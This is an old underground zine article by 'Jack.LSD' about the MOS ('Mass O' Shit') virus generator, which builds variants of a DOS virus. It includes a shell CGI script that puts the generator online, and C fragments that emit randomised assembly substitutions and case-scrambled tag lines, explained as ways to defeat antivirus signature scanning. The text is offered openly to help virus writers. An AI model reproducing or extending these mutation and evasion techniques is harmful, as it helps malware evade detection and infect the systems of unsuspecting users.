- Mass O' Shit -
Mos virus generator background

Well creatures of the night heres a tidbit from the past infact its a double tidbit.

Here is the virus generator called affectionately the "MOS" or "Mass O' Shit". This generator uses a generates a basic virus called "Retch Everyone Hates U!" The virus appears to have been chosen because of its simplistic nature. There arent any huge decryption loops or off the wall calls to interrupts to worry about. This gives someone looking at the output of the generator a chance to actually follow along.

The generator was originally released at version .2c and was intended as only an in-house demo. The .2 series is an introduction to the ideas of a virus generator while also laying the ground work for the true heavy duty randomizing. The second available version of this generator is.7c wich wasn't released due to bugs in the program. The source code and binary for the .7c were contributed so that you can look at the theorys involved. It does delve into the ideas and theorys of make things very random indeed. Even at this stage, its easy to see that the generator is far from being completed. In the .7 series asm code you will notice that the author left debugging code/comments. You should in theory be able to debug the asm code and thus the generator by replacing the "blenderized" code with the original code.

A side note to the series, the .7d was modified by me Jack.LSD as an expriment. Included here is source code for web based virus generator. The code was converted from borland c++ to gnu c++ and a shell cgi was created as a front end. There was one bug that I found during the translation wich I fixed and the output of the code was converted to stdout vice a file. The mos.cgi has only 1 variable that you need to change to get this to work and that is TARGET, just point that at the path to the program. You can change the <BODY BGCOLOR> line to any body and text color that you want, infact the same thing is true about the <TITLE> and <P ALIGN> statements.

    #!/bin/sh
    #
    #

    TARGET=path_to_the_compiled_program
    TOPSTUFF='Content-type: text/html

    <HTML>
    <HEAD>
    <TITLE>Source Of Kaos - MOS-REHU</TITLE>
    </HEAD>
    <BODY BGCOLOR="#e8e8ff">
    <P ALIGN=Left>
    '
    if [ -x $TARGET ]; then
            if [ $# = 0 ]; then
                    echo "$TOPSTUFF<H1>Mass O Shit Online Virus Generator</H1>"
                    $TARGET 2>&1
            fi
    else
            echo AcK: somethings wrong ..
            fi

The generator is written in "C/C++" for probably either Borland's Turbo C/C++ or their full release of C/C++. The conversion or .7d version is written so that it compiles under gcc. The code itself is aptly named by the auther "Mass O Shit". For it is a messy and poorly coded and designed. No effort has been made to clean up or staighten this out, so if you cant follow it, call someone who cares.

MOS is written as a stand alone program with no need for data files. This approach isnt the best idea, though it has its own merit. Its biggest dis-advantage is that everytime you want to update the virus you get to spend a week re-inputting and formating asm code to fit inside the C code. Wich also means you get to re-do the randomizing code as well. The advantage to this style of writing is that you dont have to come up anti-tamper code for .dat files.

The basic idea behind the MOS Engine is that virus scanners look for key pieces and values being found together. The second idea being that given enough samples of virus code from a generator or mutation engine that AVers will find common sections of code that never change. Knowing what they are looking for means you attack those standards to make it as hard as possible to find that common ground.

In the .2 series there is just a basic attack on this problem wich gives you a small fixed set of possibilities. The below sample generates a replacement for mov ax, 3521h and its only randomness comes in wich one of the six you get.

            if (c1==0) {
            fprintf(virname,"        mov     ah,35h \n");
            fprintf(virname,"        mov     al,21h \n");
            }
            if (c1==1) {
            fprintf(virname,"        mov     al,21h  \n");
            fprintf(virname,"        mov     ah,35h  \n");
            }
            if (c1==2) {
            fprintf(virname,"        mov     ax,1414h  \n");
            fprintf(virname,"        xor     al,35h  \n");
            fprintf(virname,"        xor     ah,21h  \n");
            }
            if (c1==3) {
            fprintf(virname,"        mov     ax,-13602d  \n");
            fprintf(virname,"        not     ax  \n");
            }
            if (c1==4) {
            fprintf(virname,"        mov     al,20h  \n");
            fprintf(virname,"        inc     al  \n");
            fprintf(virname,"        mov     ah,35h  \n");
            }
            if (c1==5) {
            fprintf(virname,"        mov     al,21h  \n");
            fprintf(virname,"        mov     ah,36h  \n");
            fprintf(virname,"        dec     ah  \n");
            }

This same rough approach can be applied to almost any piece of code that you want to replace. The same principle is used in the .7 versions but they have been upgraded to provide a bit more of a random kick. Here is the same section of code found in the 1st example but instead of a static section of code you have a random/static piece. This means you still have mov al , xxxx / xor al, xxxx / mv ah, xxxx / xor ah, xxxx wich leaves you with the same sequence of events but the numbers involved never are. Combine this with the fact that there you have 5 other possible code sequences and things can get rough on someone looking for common code.

            if (c1==1) {
                y=random(220)+1;
                z=33;
                xor=z^y;
                fprintf(virname,"        mov     al, 0%xh\n",xor);
                fprintf(virname,"        xor     al, 0%xh\n",y);
                z=53;
                xor=z^y;
                fprintf(virname,"        mov     ah, 0%xh\n",xor);
                fprintf(virname,"        xor     ah, 0%xh\n",y);
            }

This small bit of confusion is based on the following bit of code and some basic algerbra. Knowing what you want as the end product gives you one variable and you can generate a random number as your second variable. Now take that algebra and figure out what you have to xor your random number by to get your end result.

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    main()
    {
            int  y,z,xor;
            randomize();
            printf ("Random XOR routine\n");
            y=random(250)+1;
            z=13056;
            xor=z^y ;
            printf("xor   %xh, %xh\n",z,y);
            printf("equals %xh\n",xor);
            return 1;
    }

In the REHU virus the "tag line" itself can be used as a scan string so again, you know a key point and you attack it. The .2 series had no such attack in it, where the .7 series has this simple attack.

            stpcpy (beta,"Retch EveryOne Hates U");
            /* Hehe 50/50 reverse */
            ul1=strlen("Retch EveryOne Hates U");
            for(loop1=0;loop1<ul1;loop1++)
            {
                    s=beta[loop1];
                    x=random(2);
                    if (x==1)
                    {
                            t=toupper(s);
                    }
                    if (x==0)
                    {
                            t=tolower(s);
                    }
                    fprintf(virname,"%c",t);
            }

The basis of this attack as you probably notice is that it you change case on the letters thus each generation has a differnt looking "tag line". You could easily make this even more effective by throwing another 50/50 check in there to flip your starting string. Wich would give you either "Retch EveryOne Hates U" or "U setaH enOyrevE hcteR". This 50/50 could be taken a step further by flipping each word you are workign with. The below snippet of code is what the 50/50 Upper or Lower is based on.

    #include <string.h>
    main()
    {
            char  beta[30], s, t;
            int   x ,ul1, loop1;
            randomize();
            stpcpy (beta,"Im a test");
            ul1=strlen("Im a test");
            printf ("%d letters in Im a test\n", strlen("Im a test"));
            for(loop1=0;loop1<ul1;loop1++)
            {
                    s=beta[loop1];
                    x=random(2);
                    if (x==1)
                    {
                            t=toupper(s);
                    }
                    if (x==0)
                    {
                            t=tolower(s);
                    }
                    printf("%c",t);
            }
    }

Overall some of the methods used in the "C source" for the generator arent done properly. The focus of the public releases has been on something that works and adding new features. The author talks about how much of the code has been put into the blender and it seems like their should have been more done. Even the most casual observer it should be obvious that the author was looking for implementing ideas and theorys and not mass quantity. It wouldnt take much for anyone to expand a current subset or to add their own subsets.

Something not mentioned anywhere in the documentation is that to compile the asm code into a working virus you have to use an exe2com program. Seems Digital Anarchist is something of an ass or a practical joker.

FWIW this was all originally intended for SOK#4 but due to so much backstabbing SOK#4 was dropped and I donnated the material to CodeBreaker #4.

Jack.LSD
sok@int21h.org